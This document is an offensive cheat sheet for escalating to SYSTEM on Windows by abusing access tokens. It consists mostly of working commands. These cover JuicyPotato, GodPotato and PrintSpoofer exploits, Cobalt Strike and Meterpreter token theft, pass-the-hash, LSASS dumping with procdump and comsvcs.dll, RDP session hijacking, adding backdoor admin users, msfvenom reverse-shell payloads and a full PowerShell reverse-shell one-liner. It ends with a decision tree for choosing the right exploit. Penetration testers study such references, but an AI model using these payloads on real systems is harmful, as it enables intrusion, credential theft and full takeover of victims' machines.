┌──────────────────────────────────────────────────────────────┐
│  Token abuse → SeImpersonate / SeAssignPrimaryToken → SYSTEM │
└──────────────────────────────────────────────────────────────┘

whoami /priv

# PowerSploit / PowerView equivalents
Get-ProcessTokenGroup                   # Current process token groups
Get-ProcessTokenPrivilege                # Current token privileges
Get-ProcessTokenPrivilege | Where-Object { $_.TokenPrivilege -match "SeImpersonate" }

# Seatbelt
.\Seatbelt.exe TokenPrivileges

                    ┌───────────────────────────────┐
                    │   Access Token Manipulation   │
                    └───────────────┬───────────────┘
                                    │
        ┌────────────────┬──────────┼──────────┬─────────────────┐
        │                │                     │                 │
  Token Duplication  Token Theft          MakeToken /       Pass-the-Token
  (DuplicateToken/    (steal an existing   Pass-the-Hash     (reuse a captured/
   Ex + Impersonate    process's token      (new LOGON        forged token or
   LoggedOnUser)        wholesale)           session from      Kerberos ticket
                                             creds/hash)        on another host)

DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)
CreateProcessWithTokenW(hNewToken, ...)   // or CreateProcessAsUserW

:: TokenPlayer — token duplication UAC bypass
TokenPlayer.exe --pwnuac --spawn
TokenPlayer.exe --pwnuac --prog "C:\Windows\System32\cmd.exe"

:: Cobalt Strike — built-in UAC bypass module using this exact primitive
beacon> elevate uac-token-duplication [listener]

OpenProcess(PROCESS_QUERY_INFORMATION, ..., targetPID)
OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)
DuplicateTokenEx(hToken, ..., TokenPrimary, &hNewToken)
CreateProcessWithTokenW(hNewToken, ..., "cmd.exe", ...)

:: Metasploit / Meterpreter — incognito (see 5.1) is the point-and-click version
meterpreter > steal_token <PID>

:: Cobalt Strike
beacon> steal_token <PID>
beacon> rev2self                 # revert back to Beacon's original token

:: Cobalt Strike
beacon> make_token CORP\svc_backup Str0ngP@ss!
beacon> ls \\fileserver\share$        # authenticates as svc_backup remotely
beacon> rev2self                      # clear the network-only token

:: Native equivalent
runas /netonly /user:CORP\svc_backup cmd.exe

:: Rubeus — network-only logon session without touching LSASS
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CORP.LOCAL /username:svc_backup /password:Str0ngP@ss!

:: Pass-the-hash → token (mimikatz)
sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:<HASH> /run:cmd.exe

:: Cobalt Strike — combines MakeToken + PtH into one step; spawns a temp process to
:: generate AND impersonate the resulting token
beacon> pth CORP\Administrator 97fc053bc0b23588798277b22540c40d
beacon> pth <PID> <x86|x64> CORP\Administrator 97fc053bc0b23588798277b22540c40d   # inject into existing proc

:: Pass-the-ticket (Kerberos) — Rubeus
Rubeus.exe ptt /ticket:<base64_kirbi>
klist                                    # confirm ticket is loaded

:: Cobalt Strike Kerberos tray
beacon> kerberos_ticket_use C:\loot\ticket.kirbi

Attacker (low-priv, SeImpersonate) creates a named pipe server
        ↓
Trick/coerce a SYSTEM service into connecting to that pipe
        ↓
ImpersonateNamedPipeClient() → attacker thread now holds SYSTEM impersonation token
        ↓
DuplicateTokenEx() → convert to primary token
        ↓
CreateProcessWithTokenW() → spawn cmd.exe / your payload as SYSTEM

Process Monitor → filter: Operation = "Connect Pipe", Path = \\.\pipe\*
→ If a SYSTEM process connects to a pipe you control, impersonation is possible

Service account shell (IIS / MSSQL / web shell, holding SeImpersonate)
        ↓
Trick a SYSTEM-level component into authenticating to you
  (via DCOM, RPC, Named Pipe, EFS, Print Spooler, AppX, ADCS, RasMan...)
        ↓
Capture its token / NTLM authentication
        ↓
Impersonate SYSTEM → spawn SYSTEM shell

Trigger COM object activation via CLSID or IRemUnknown2
    → SYSTEM authenticates to activate/negotiate the object
    → Token / NTLM captured → SYSTEM exec

Create fake named pipe
    → Trigger SYSTEM service to connect via legitimate API call
    → ImpersonateNamedPipeClient() → SYSTEM token

Trigger SYSTEM NTLM auth via RPC/OXID interface
    → Reflect/relay auth to local privileged endpoint
    → SYSTEM token obtained

Abuse DCOM in another user's session
    → Steal NTLMv2 hash of logged-in privileged user
    → Crack or relay for domain escalation

Standard user triggers NTLM reflection via Storage Broker COM
    → No SeImpersonate needed
    → SYSTEM exec from regular user account (unpatched systems only)

whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c powershell -e <base64_payload>"

# Find CLSIDs on the target
Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\*" | Select-Object PSChildName
# Full CLSID list per OS: https://github.com/ohpe/juicy-potato/tree/master/CLSID

whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

:: Add admin user
JuicyPotato.exe -t * -p cmd.exe -a "/c net user hacker P@ssw0rd! /add" -l 9999 -c {CLSID}
JuicyPotato.exe -t * -p cmd.exe -a "/c net localgroup administrators hacker /add" -l 9999 -c {CLSID}

:: Reverse shell
JuicyPotato.exe -t * -p C:\Windows\Temp\shell.exe -l 9999 -c {CLSID}

:: Common CLSIDs
::   Server 2016:  {4991D34B-80A1-4291-83B6-3328366B9097}
::   Win10 1803:   {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}

# Attacker
socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999 &
nc -lvnp 4444

:: Target
RoguePotato.exe -r <ATTACKER_IP> -e "cmd.exe /c whoami" -l 9999

whoami /priv
sc query spooler

PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "cmd /c whoami"

whoami /priv
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c powershell -enc <base64>"

EfsPotato.exe "whoami"
EfsPotato.exe "net user hacker P@ss123! /add && net localgroup administrators hacker /add"

PetitPotato.exe <pipe_name> <cmd_to_run>

PrintNotifyPotato   → Print Notify RPC coercion (Spooler disabled fallback)
AppxPotato          → AppX Deployment Service (desktop editions only, AppXSvc)
RasManPotato        → RasMan RPC coercion (both EFS + Spooler disabled)
DeadPotato          → Task Scheduler / deprecated COM
SigmaPotato         → RPC coercion focused on Server 2022 / Win11
ADCSCoercePotato     → ADCS HTTP enrollment coercion (domain w/ ADCS only)

:: Verify other sessions exist first
query session

Confirm SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege → whoami /priv
        │
        ├── Win7 / Server 2008
        │       → RottenPotato (historical) / JuicyPotato
        │
        ├── Win10 ≤1803 / Server 2012–2016
        │       → JuicyPotato (find working CLSID)
        │       → PrintSpoofer (sc query spooler → RUNNING?)
        │       → EfsPotato / PetitPotato
        │
        ├── Win10 ≥ 1809 / Server 2019
        │       → GodPotato (first choice, no setup)
        │       → PrintSpoofer (if Spooler running)
        │       → EfsPotato / PetitPotato (Spooler disabled?)
        │       → RoguePotato (if network to attacker available)
        │
        ├── Server 2022 / Windows 11
        │       → GodPotato (first choice)
        │       → PrintSpoofer (if Spooler running)
        │       → SigmaPotato (if GodPotato fails)
        │       → PrintNotifyPotato (Spooler disabled but PrintNotify up)
        │       → RasManPotato (EFS + Spooler both disabled)
        │
        ├── Domain-joined + ADCS HTTP accessible
        │       → ADCSCoercePotato
        │
        ├── Already SYSTEM + other user sessions present
        │       → RemotePotato0 (steal domain user NTLM hash)
        │
        ├── Desktop Win10/Win11 (workstation target)
        │       → AppxPotato (AppXSvc always present on desktops)
        │
        └── Unknown / multiple methods blocked
                → MultiPotato (tries all coercion methods)
                → SweetPotato (DCOM + EFS + Spooler)

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\DomainAdmin"
meterpreter > getuid          # should show DOMAIN\DomainAdmin

# Spawn a shell as the impersonated user
meterpreter > shell
whoami

Import-Module C:\Tools\PowerSploit\Exfiltration\Invoke-TokenManipulation.ps1

# List available logon tokens
Invoke-TokenManipulation -Enumerate

# Create a process as another user using their token
Invoke-TokenManipulation -Username "corp\Administrator" -CreateProcess "cmd.exe"

# Impersonate a token in the current thread
Invoke-TokenManipulation -ImpersonateUser -Username "corp\Administrator"

SharpSploit.Credentials.Tokens.Impersonate()   → token impersonation

GruntTask: SharpSploit.Credentials.Mimikatz.LogonPasswords()
GruntTask: SharpSploit.Execution.Shell.ShellExecute("whoami")

:: Metasploit: migrate to a SYSTEM process, then
getsystem
run post/windows/gather/hashdump

:: procdump (Sysinternals)
procdump.exe -ma lsass.exe lsass.dmp
:: mimikatz → sekurlsa::minidump lsass.dmp → sekurlsa::logonpasswords

:: LOLBAS-style dump, no extra binary needed
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <lsass_PID> C:\loot\lsass.dmp full

:: Requires SeDebugPrivilege to open a handle to a SYSTEM process at all
whoami /priv | findstr /i debug

:: Metasploit
getsystem                       # tries several named-pipe/token techniques automatically
getsystem -t 1                  # force a specific technique (see getsystem -h)

:: Manual: pick any SYSTEM PID and steal its token
tasklist /v | findstr "SYSTEM"
meterpreter > steal_token <SYSTEM_PID>

:: Cobalt Strike
beacon> ps
beacon> steal_token <SYSTEM_PID>          # e.g. winlogon.exe
beacon> getuid                            # confirm NT AUTHORITY\SYSTEM

Administrator
     │  (SeDebugPrivilege + steal a SYSTEM token first)
     ▼
NT AUTHORITY\SYSTEM
     │  (open the TrustedInstaller service process, duplicate ITS token)
     ▼
NT SERVICE\TrustedInstaller

:: 1. Start the TrustedInstaller service (it's stopped by default)
sc start TrustedInstaller

:: 2. Classic PsExec approach — spawn a SYSTEM shell as a child of TrustedInstaller
PsExec64.exe -i -s -d "C:\Windows\System32\cmd.exe"
:: then from that SYSTEM shell, launch a process with -sid TrustedInstaller equivalent
:: (PsExec's -s alone only gets you SYSTEM, not TI, on its own)

:: Common practical route: NSudo / RunAsTI-style tools
NSudoLC.exe -U:T -P:E cmd.exe        # -U:T = run as TrustedInstaller user, -P:E = enable all privileges

:: Programmatic route (what NSudo/RunAsTrustedInstaller-type tools do under the hood)
1. OpenSCManager + OpenService("TrustedInstaller") + StartService()
2. OpenProcess() on the resulting TrustedInstaller.exe PID  — requires SYSTEM
3. OpenProcessToken(..., TOKEN_DUPLICATE)
4. DuplicateTokenEx(..., TokenPrimary, &hTIToken)
5. CreateProcessAsUserW(hTIToken, ..., "cmd.exe", ...)

:: 1. Enumerate sessions on the box
query user
:: or
qwinsta

:: 2. Escalate to SYSTEM first (PsExec, a service, a scheduled task — anything)
PsExec64.exe -i -s cmd.exe

:: 3. From a SYSTEM context, hijack target session ID into your own session
::    (no password prompt because the caller is SYSTEM)
tscon.exe <TARGET_SESSION_ID> /dest:<YOUR_SESSION_NAME>

:: Common one-shot version via a throwaway service (also runs as SYSTEM)
sc create sesshijack binpath= "cmd.exe /k tscon <SESSION_ID> /dest:rdp-tcp#1"
net start sesshijack

:: SharpRDPHijack — no password needed if run elevated; impersonates SYSTEM automatically
SharpRDPHijack.exe --tsquery=<host>            # enumerate sessions
SharpRDPHijack.exe --session=<ID> --console    # hijack into console session

:: Check State column — Disabled privileges are still yours, just inactive
whoami /priv

Privilege Name               Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking              Enabled
SeUndockPrivilege              Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege  Increase a process working set       Disabled

// Win32 API — enable a disabled privilege on your own token
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

# PowerSploit / PowerUp equivalent
Import-Module .\Enable-Privilege.ps1
Enable-Privilege SeDebugPrivilege

:: Metasploit
meterpreter > use priv
meterpreter > getsystem

SeImpersonatePrivilege         → GodPotato / PrintSpoofer / JuicyPotato / SweetPotato
SeAssignPrimaryTokenPrivilege  → GodPotato / SweetPotato
SeDebugPrivilege               → LSASS dump / process injection / getsystem
SeCreateTokenPrivilege         → forge a token with any privileges directly
SeTakeOwnershipPrivilege       → take ownership of SAM/SYSTEM/utilman.exe
SeBackupPrivilege              → robocopy /B to read SAM/SYSTEM/NTDS.dit
SeRestorePrivilege             → write any file, ignoring ACL (plant DLL in System32)
SeLoadDriverPrivilege          → load a malicious/vulnerable kernel driver
SeManageVolumePrivilege        → direct disk read → NTDS.dit

# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe

# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe

# Staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o meter.exe

# Add admin user, no listener needed
msfvenom -p windows/adduser USER=hacker PASS=Pass123! -f exe -o adduser.exe

$c=New-Object Net.Sockets.TCPClient('<IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}

echo -n '<PS_ONE_LINER>' | iconv -t UTF-16LE | base64 -w 0
# Use as: powershell -enc <BASE64_OUTPUT>

1. whoami /priv                     → find your token privileges first, always

2. SeImpersonate / SeAssignPrimaryToken present?
       Win10 1809+/2019/2022/Win11  → GodPotato (default first try)
       Spooler running              → PrintSpoofer
       Spooler disabled             → EfsPotato / PetitPotato / PrintNotifyPotato
       Need network coercion        → RoguePotato
       Old Win7/2008                → RottenPotato / JuicyPotato (CLSID)
       Nothing works                → MultiPotato / SweetPotato (try everything)

3. SeDebugPrivilege present?        → dump LSASS / migrate into SYSTEM process

4. SeBackupPrivilege present?       → robocopy /B → SAM/SYSTEM/NTDS.dit offline

5. Already SYSTEM, need lateral?    → Incognito list_tokens/impersonate_token
                                       or RemotePotato0 for other sessions
                                       or tscon.exe → hijack another user's RDP session

6. SeCreateTokenPrivilege?          → forge a token directly, skip everything else

7. Need TrustedInstaller?           → SYSTEM first, then start+steal the
                                       TrustedInstaller service token (two-hop)

8. Have creds/hash but not a shell? → make_token (network-only) or pth (Pass-the-Hash)
                                       instead of dropping a Potato binary at all

9. whoami /priv shows "Disabled"?   → AdjustTokenPrivileges / Enable-Privilege first —
                                       a listed privilege does nothing until enabled

Correct exploit = f(OS version, patch level, running services, privileges, domain context)